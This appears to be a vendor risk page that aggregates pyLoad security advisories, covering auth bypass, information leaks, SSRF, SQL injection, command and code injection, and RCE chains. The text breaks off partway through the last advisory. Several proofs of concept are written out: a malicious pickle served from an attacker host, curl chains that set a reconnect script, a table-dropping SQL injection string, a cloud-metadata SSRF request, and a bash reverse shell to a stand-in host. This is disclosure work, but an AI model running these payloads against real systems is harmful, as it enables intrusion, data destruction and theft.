Where
-Infinity
0

Vendor Risk Score

See how pyload compares to other vendors in security performance

View Risk Score →
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The /web/<path:filename> route in src/pyload/webui/app/blueprints/appblueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @loginrequired, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.

Details

Bug 1 — Missing authentication on /web/<path:filename>

File: src/pyload/webui/app/blueprints/appblueprint.py, lines 32–36

python @bp.route("/web/<path:filename>", endpoint="web") def render(filename): # ← no @loginrequired mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype)

Every other sensitive route in the same file is protected:

python @bp.route("/logs", ...) @loginrequired("LIST") # protected

@bp.route("/settings", ...) @loginrequired("SETTINGS") # protected

@bp.route("/files", ...) @loginrequired("DOWNLOAD") # protected

The /web/<path:filename> route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.

Bug 2 — Exception attribute typo causes internal details in error responses

File: src/pyload/webui/app/handlers.py, lines 12–20

python def handleexceptionerror(exc): try: code = exc.code desc = exc.desc # BUG: attribute does not exist on standard exceptions except AttributeError: # always raised — falls here for every exception code = 500 desc = exc # raw exception object assigned to desc message = f"Error {code}: {desc}" # str(exc) embedded in response body return rendertemplate("error.html", messages=[message]), code

exc.desc does not exist on standard Python or Jinja2 exceptions. The AttributeError branch is always taken for template rendering failures. desc is set to the raw exception object, and str(exc) is embedded in the HTML response body returned to the unauthenticated caller. For a UndefinedError this produces 'conf' is undefined. For TemplateNotFound it produces the template filename.

PoC

Tested against pyload-ng develop branch (0.5.0b3.dev), default install, no authentication cookies or credentials used in any request.

Test 1 — Unauthenticated page render confirmed (HTTP 200) bash curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"

Test 2 — System info page with sensitive field labels rendered unauthenticated curl -s http://TARGET:8000/web/info.html | grep "Python Version\|Installation Folder\|Config Folder\|OS Platform" html

<dt><b>Python Version:</b></dt> <dt><b>OS Platform:</b></dt> <dt><b>Installation Folder:</b></dt> <dt><b>Config Folder:</b></dt>

Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated) curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error" HTTP/1.1 500 INTERNAL SERVER ERROR <p><b>Error 500: 'conf' is undefined</b></p> Test 4 — Template enumeration via response code differentiation curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/logs.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/info.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/dashboard.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/settings.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/queue.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/collector.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/filemanager.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/nonexistentxyz.html 200 ← logs.html (exists, renders without auth) 200 ← info.html (exists, renders without auth) 200 ← dashboard.html (exists, renders without auth) 500 ← settings.html (exists, missing auth context — leaks 'conf' is undefined) 500 ← queue.html (exists, missing auth context) 500 ← collector.html (exists, missing auth context) 500 ← filemanager.html (exists, missing auth context) 500 ← nonexistentxyz (does not exist — same 500, no differentiation on miss)

###Impact An unauthenticated remote attacker can:

Render application page templates without any credentials, bypassing the access control model enforced on all direct routes Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.) Enumerate all valid template filenames by observing 200 vs 500 response codes

The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/<path:filename> endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary pyload-ng WebUI returns full Python traceback details to clients on unhandled exceptions.

Because /web/<path:filename> is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response.

Details The issue is caused by the combination of:

1. Unauthenticated template-render route: - src/pyload/webui/app/blueprints/appblueprint.py:32-36 - @bp.route("/web/<path:filename>", endpoint="web") - data = rendertemplate(filename) with user-controlled filename - no @loginrequired(...) on this route

2. Global exception handler exposes traceback to response: - src/pyload/webui/app/handlers.py:14-27 - tb = traceback.formatexc() - messages.extend(tb.split('\n')) - returned in rendered error page for all exceptions

3. Error page renders all messages: - src/pyload/webui/app/themes/modern/templates/base.html:217-219 - loops over messages and prints them in response HTML

So any unhandled exception can disclose internal implementation details (stack frames, source paths, exception metadata) to remote unauthenticated clients.

This is a core behavior issue in default WebUI error handling

PoC python #!/usr/bin/env python3 from future import annotations

import re import shutil import tempfile import traceback from pathlib import Path

ROOT = Path(file).resolve().parent / "pyload" / "src" / "pyload"

def readtext(rel: str) -> str: return (ROOT / rel).readtext(encoding="utf-8")

def routehasnologinrequired(appblueprint: str) -> bool: m = re.search( r'@bp\\.route\\("/web/<path:filename>", endpoint="web"\\)\\s' r"def render\\(filename\\):(?P<body>.?)(?:\\n\\n@bp\\.route|\\Z)", appblueprint, re.DOTALL, ) if not m: return False blockstart = max(0, m.start() - 200) block = appblueprint[blockstart:m.end()] return "@loginrequired(" not in block

def main() -> None: workdir = Path(tempfile.mkdtemp(prefix="pyload-traceback-infoleak-")) try: appblueprint = readtext("webui/app/blueprints/appblueprint.py") handlers = readtext("webui/app/handlers.py") basetemplate = readtext("webui/app/themes/modern/templates/base.html")

unauthwebroute = '/web/<path:filename>' in appblueprint and routehasnologinrequired(appblueprint) usercontrolledtemplatename = "rendertemplate(filename)" in appblueprint handlerusestraceback = "traceback.formatexc()" in handlers handlerappendstrace = "messages.extend(tb.split('\\n'))" in handlers globalexceptionhandler = "(Exception, handleexceptionerror)" in handlers templaterendersmessages = "{% for message in messages %}" in basetemplate and "{{message}}" in basetemplate

leakedtracebackkeyword = False leakedexceptiontype = False try: raise RuntimeError("forced-poc-error") except Exception: tb = traceback.formatexc() messages = [f"Error 500: forced-poc-error"] messages.extend(tb.split("\\n")) joined = "\\n".join(messages) leakedtracebackkeyword = "Traceback (most recent call last)" in joined leakedexceptiontype = "RuntimeError: forced-poc-error" in joined

reprosuccess = all( [ unauthwebroute, usercontrolledtemplatename, handlerusestraceback, handlerappendstrace, globalexceptionhandler, templaterendersmessages, leakedtracebackkeyword, leakedexceptiontype, ] )

print("unauthwebroute=", unauthwebroute) print("usercontrolledtemplatename=", usercontrolledtemplatename) print("handlerusestraceback=", handlerusestraceback) print("handlerappendstrace=", handlerappendstrace) print("globalexceptionhandler=", globalexceptionhandler) print("templaterendersmessages=", templaterendersmessages) print("leakedtracebackkeyword=", leakedtracebackkeyword) print("leakedexceptiontype=", leakedexceptiontype) print("tracebackinfoleakreprosuccess=", reprosuccess) finally: shutil.rmtree(workdir, ignoreerrors=True) print("cleanupdone=True")

if name == "main": main()

Observed result: text unauthwebroute= True usercontrolledtemplatename= True handlerusestraceback= True handlerappendstrace= True globalexceptionhandler= True templaterendersmessages= True leakedtracebackkeyword= True leakedexceptiontype= True tracebackinfoleakreprosuccess= True cleanupdone=True

Impact - Vulnerability type: Information disclosure (stack trace / internal path leakage). - Attack surface: unauthenticated WebUI request path. - Exposes internal error details that help attackers map application internals and improve exploit reliability for follow-on attacks.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

pyLoad is a free and open-source download manager written in Python. Versions up to and including 0.5.0b3.dev97 cache role and permission in the session at login and continues to authorize requests using these cached values, even after an admin changes the user's role/permissions in the database. As a result, an already logged-in user can keep old (revoked) privileges until logout/session expiry, enabling continued privileged actions. This is a core authorization/session-consistency issue and is not resolved by toggling an optional security feature. Commit e95804fb0d06cbb07d2ba380fc494d9ff89b68c1 contains a fix for the issue.

First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/packageorder, /json/linkorder, and /json/abortlink WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.

First published (updated )
Severity
7.5
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMINONLYOPTIONS set to block non-admin users from modifying security-critical config options. The storagefolder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.

Required Privileges

The chain requires a single non-admin user with both SETTINGS (to change storagefolder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.

Root Cause

storagefolder at src/pyload/core/api/init.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.

pyload configures Flask with SESSIONTYPE = "filesystem" at init.py:127. The cachelib FileSystemCache stores session files as md5("session:" + sessionid) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.

Proven RCE Chain

Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.

Step 1 — Change download directory to Flask session store:

POST /api/setconfigvalue {"section":"core","category":"general","option":"storagefolder","value":"/tmp/pyLoad/flask"}

The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.

Step 2 — Compute the target session filename:

md5("session:ATTACKERSESSIONID") = 92912f771df217fb6fbfded6705dd47c

Flask-Session uses cachelib which stores files as md5(keyprefix + sessionid). The default key prefix is session:.

Step 3 — Host and download the malicious pickle payload:

import pickle, os, struct class RCE: def reduce(self): return (os.system, ("id > /tmp/pyload-rce-success",)) session = {"permanent": True, "rce": RCE()} payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2) # struct.pack("I", 0) = cachelib timeout header (0 = never expires)

Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:

POST /api/addpackage {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}

The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.

Step 4 — Trigger deserialization (unauthenticated):

curl http://target:8000/ -b "pyloadsession8000=ATTACKERSESSIONID"

The session cookie name is pyloadsession + the configured port number (init.py:128).

Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.

Result:

$ docker exec pyload-poc cat /tmp/pyload-rce-success uid=1000(abc) gid=1000(users) groups=1000(users)

Impact

A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:

- Execute arbitrary commands with the privileges of the pyload process - Read environment variables (API keys, credentials) - Access the filesystem (download history, user database) - Pivot to other network resources

Suggested Fix

Add storagefolder to the ADMINONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):

ADMINONLYOPTIONS = { ... ("general", "storagefolder"), # ADDED: prevents session poisoning RCE ... }

Also correct the existing wrong option names:

("webui", "sslcertfile"), # FIXED: was "sslcert" (dead code) ("webui", "sslkeyfile"), # FIXED: was "sslkey" (dead code)

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
EPSS
0.08%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

PyLoad's download engine accepts arbitrary URLs without validation, enabling Server-Side Request Forgery (SSRF) attacks. An authenticated attacker can exploit this to access internal network services and exfiltrate cloud provider metadata. On DigitalOcean droplets, this exposes sensitive infrastructure data including droplet ID, network configuration, region, authentication keys, and SSH keys configured in user-data/cloud-init.

Details

The vulnerability exists in PyLoad's download package functionality (/api/addPackage endpoint), which directly passes user-supplied URLs to the download engine without validating the destination. The affected code in src/pyload/webui/app/blueprints/apiblueprint.py:

python @bp.route("/addPackage", methods=["POST"], endpoint="addpackage") @loginrequired def addpackage(): name = flask.request.form["addname"] links = flask.request.form["addlinks"].split("\n") # ... validation omitted ... api.addpackage(name, links, dest) # No URL validation

The download engine in src/pyload/core/managers/download.py accepts any URL scheme and initiates HTTP requests to arbitrary destinations, including internal network addresses and cloud metadata endpoints.

Proof of Concept

Live Demo Instance: http://143.244.141.81:8000 Credentials: pyload / pyload

- Login into the pyload application - Navigate to package tab and enter the package name and fill the Link section with the following URL

http://169.254.169.254/metadata/v1.json

<img width="1851" height="786" alt="image" src="https://github.com/user-attachments/assets/18e7aedf-7663-4a57-8f3e-5200be2c958e" />

- Now navigate to Files section and download the link.

<img width="1429" height="870" alt="image" src="https://github.com/user-attachments/assets/9b8b9cd6-afb7-461c-b058-a3cc4f26e2e6" />

- It was observed that we are able to Read the Digital Ocean Metadata

<img width="1872" height="837" alt="image" src="https://github.com/user-attachments/assets/d30d2d74-53e9-46f8-8206-894a275ac831" />

The downloaded v1.json file contains sensitive cloud infrastructure data: - Droplet ID: Unique identifier for the instance - Network Configuration: Public/private IP addresses, VPC topology - Authentication Keys: Cloud provider auth tokens - SSH Keys: Public keys configured in droplet metadata - Region and Datacenter: Infrastructure location

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS Score: 7.7 - 9.1 (High to Critical, depending on cloud deployment)

Affected Systems - All PyLoad installations (version 0.5.0 and potentially earlier) - Critical Impact on cloud deployments (AWS EC2, DigitalOcean, Google Cloud, Azure) where metadata contains: - IAM credentials (AWS) - SSH private keys (configured in user-data) - API tokens and secrets - Database credentials stored in cloud-init

Attack Requirements - Valid PyLoad user account (any role - ADMIN or USER) - Network connectivity to PyLoad instance

Security Impact 1. Cloud Metadata Theft: Complete exfiltration of instance metadata 2. Lateral Movement: Discovery and enumeration of internal network services 3. Credential Exposure: Theft of cloud IAM credentials, SSH keys, API tokens 4. Infrastructure Mapping: Network topology, IP addressing, service discovery

Remediation

Implement URL validation in the download engine: 1. Whitelist allowed URL schemes (http/https only) 2. Block requests to private IP ranges (RFC 1918, link-local addresses) 3. Block cloud metadata endpoints (169.254.169.254, metadata.google.internal, etc.) 4. Implement request destination validation before initiating downloads

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

pyLoad is a free and open-source download manager written in Python. From version 0.4.20 to before version 0.5.0b3.dev97, the localcheck decorator in pyLoad's ClickNLoad feature can be bypassed by any remote attacker through HTTP Host header spoofing. This allows unauthenticated remote users to access localhost-restricted endpoints, enabling them to inject arbitrary downloads, write files to the storage directory, and execute JavaScript code. This issue has been patched in version 0.5.0b3.dev97.

First published (updated )
Severity
8.8
EPSS
0.06%
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The setconfigvalue() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in setconfigvalue() is a hardcoded check for general.storagefolder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.

Details

The vulnerability chain spans two components:

1. Unrestricted config write — src/pyload/core/api/init.py:210-243

python @permission(Perms.SETTINGS) @post def setconfigvalue(self, category: str, option: str, value: Any, section: str = "core") -> None: self.pyload.addonmanager.dispatchevent( "configchanged", category, option, value, section ) if section == "core": if category == "general" and option == "storagefolder": # Forbid setting the download folder inside dangerous locations # ... validation only for storagefolder ... return

self.pyload.config.set(category, option, value) # No validation for any other option

The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storagefolder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.

2. Arbitrary script execution — src/pyload/core/managers/threadmanager.py:157-199

python def tryreconnect(self): if not ( self.pyload.config.get("reconnect", "enabled") and self.pyload.api.istimereconnect() ): return False

# ... checks if active downloads want reconnect ...

reconnectscript = self.pyload.config.get("reconnect", "script") if not os.path.isfile(reconnectscript): self.pyload.config.set("reconnect", "enabled", False) self.pyload.log.warning(self.("Reconnect script not found!")) return

# ... reconnect logic ...

try: subprocess.run(reconnectscript) # Executes attacker-controlled path except Exception: # ...

The reconnectscript value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.

3. Attacker also controls timing via same SETTINGS permission

The attacker can set reconnect.enabled=True, reconnect.starttime, and reconnect.endtime through the same setconfigvalue() endpoint to control when execution occurs. togglereconnect() at line 321 requires only Perms.STATUS — an even lower privilege.

4. Additional privilege escalation via config access

Beyond RCE, the same unrestricted config write allows SETTINGS users to: - Read proxy credentials (proxy.username/proxy.password) in plaintext via getconfig() - Redirect syslog to an attacker-controlled server (log.sysloghost/log.syslogport) - Disable SSL (webui.usessl=False), rebind to 0.0.0.0 (webui.host) - Modify SSL certificate/key paths to enable MITM

PoC

Step 1: Set reconnect script to an attacker-controlled executable

Via API: bash Authenticate and get session (as user with SETTINGS permission) curl -c cookies.txt -X POST 'http://target:8000/api/login' \ -d 'username=settingsuser&password=pass123'

Set reconnect script to a known executable on the system curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'

Via Web UI: bash curl -b cookies.txt -X POST 'http://target:8000/json/saveconfig?category=core' \ -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'

Step 2: Enable reconnect and set timing window

bash curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=starttime&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=endtime&value=23:59&section=core'

Step 3: Script executes when thread manager calls tryreconnect()

The thread manager's run() method (called repeatedly by the core loop) invokes tryreconnect(), which calls subprocess.run(reconnectscript) at threadmanager.py:199.

Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

Impact

- Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user - Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability - Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via getconfig() - Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

Recommended Fix

Add an allowlist or category-level restriction in setconfigvalue() that prevents non-admin users from modifying security-critical options:

python In setconfigvalue(), after the storagefolder check: ADMINONLYOPTIONS = { ("reconnect", "script"), ("webui", "host"), ("webui", "usessl"), ("webui", "sslcert"), ("webui", "sslkey"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "username"), ("proxy", "password"), }

if section == "core" and (category, option) in ADMINONLYOPTIONS: # Require ADMIN role for security-critical settings if not self.pyload.api.userdata.get("role") == Role.ADMIN: raise PermissionError(f"Admin role required to modify {category}.{option}")

Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.08%
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

pyLoad is a free and open-source download manager written in Python. Versions before 0.5.0b3.dev97 are vulnerable to path traversal during password verification of certain encrypted 7z archives (encrypted files with non-encrypted headers), causing arbitrary file deletion outside of the extraction directory. During password verification, pyLoad derives an archive entry name from 7z listing output and treats it as a filesystem path without constraining it to the extraction directory. This issue has been fixed in version 0.5.0b3.dev97.

First published (updated )
Severity
7.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnlblueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42

affected code python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @localcheck def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] packpassword = flask.request.form.get("passwords")

crypted = standardb64decode(unquote(crypted.replace(" ", "+"))) jk = evaljs(f"{jk} f()")

python def evaljs(script, es6=False): if sys.versioninfo < (3, 12): return (js2py.evaljs6 if es6 else js2py.evaljs)(script) else: return dukpy.evaljs(script)

PoC download pyload and run locally, send the following request - PoC shell curl -X POST "http://localhost:8000/flash/addcrypted2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "crypted=SGVsbG8gd29ybGQ=" \ -d "passwords=pyload" \ -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30000) {} //" The 30000 can be modified to any large value.

Impact System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage shell top -pid $(pgrep -f "pyload.main") or shell top -pid $(pgrep -f "pyload")

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
SQL Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The parameter addlinks in the API /json/addpackage is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details - Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/filedatabase.py#L271 - Affected code: python @style.queue def updatelinkinfo(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids statuses is constructed from data, and data is the value of the addlinks parameter entered by the user through /json/addpackge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

- Vulnerability Chain xml josnblueprint.py#addpackage src/pyload/core/api/init.py#addpackage src/pyload/core/managers/filemanager.py#addlinks src/pyload/core/threads/infothread.py#run src/pyload/core/threads/infothread.py#updateinfo src/pyload/core/managers/filemanager.py#updatefileinfo src/pyload/core/database/filedatabase.py#updatelinkinfo

PoC python import requests

if name == "main": url = "http://localhost:8000/json/addpackage" data = { "addname": "My Downloads1", "adddest": "0", "addlinks": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "addpassword": "mypassword" }

response = requests.post(url, cookies=yourcookies, data=data) print(response.statuscode, response.text) <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation python def updatelinkinfo(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询,避免SQL注入 placeholders = ','.join(['?'] len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids

Impact Attackers can modify or delete data in the database, causing data errors or loss.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
Code Injection, XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.

Details The vulnerable code resides in javascript function onCaptchaResult(result) { eval(result); // Direct execution of attacker-controlled input }

The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval() No sanitization or validation is performed on this input A malicious CAPTCHA result can include JavaScript such as fetch() or childprocess.exec() in environments using NodeJS Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it

Reproduction Methods 1. Official Source Installation: bash git clone https://github.com/pyload/pyload cd pyload git checkout 0.4.20 python -m pip install -e . pyload --userdir=/tmp/pyload

2. Virtual Environment: bash python -m venv pyload-env source pyload-env/bin/activate pip install pyload==0.4.20 pyload

CAPTCHA Endpoint Verification

Technical Clarification: 1. The vulnerable endpoint is actually: /interactive/captcha

2. Complete PoC Request: http POST /interactive/captcha HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded

cid=123&response=1%3Balert(document.cookie)

3. Curl Command Correction: bash curl -X POST "http://localhost:8000/interactive/captcha" \ -d "cid=123&response=1%3Balert(document.cookie)"

1. Vulnerable Code Location: The eval() vulnerability is confirmed in: src/pyload/webui/app/static/js/captcha-interactive.user.js

Resources

1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546 2. OWASP: Avoid eval() 3. #4586

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

An open redirection vulnerability exists in pyload/pyload version 0.5.0. The vulnerability is due to improper handling of the 'next' parameter in the login functionality. An attacker can exploit this vulnerability to redirect users to malicious sites, which can be used for phishing or other malicious activities. The issue is fixed in pyload-ng 0.5.0b3.dev79.

First published (updated )
Severity
9.1
OS Command Injection
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.

Details

Configuration changes 1. Change the download folder to /home/<user>/.pyload/scripts 2. Change permissions for downloaded files: 1. Change permissions of downloads: on 2. Permission mode for downloaded files: 0744

Making the request to download files

The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.

Referer header check def flashgot(): if flask.request.referrer not in ( "http://localhost:9666/flashgot", "http://127.0.0.1:9666/flashgot", ): flask.abort(500) ... Host header check for local check def localcheck(func): @wraps(func) def wrapper(args, kwargs): remoteaddr = flask.request.environ.get("REMOTEADDR", "0") httphost = flask.request.environ.get("HTTPHOST", "0")

if remoteaddr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or httphost in ( "127.0.0.1:9666", "[::1]:9666", ): return func(args, kwargs) else: return "Forbidden", 403

return wrapper

Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed

PoC Create a malicious file. I have created a reverse shell #!/bin/bash bash -i >& /dev/tcp/evil/9002 0>&1

Host this file at some URL, for eg: http://evil

Create a request like this for the flashgot API. I am using downloadfinished folder as the destination folder. Scripts in this folder are run when a download is completed. import requests

url = "http://pyload/flashgot" headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

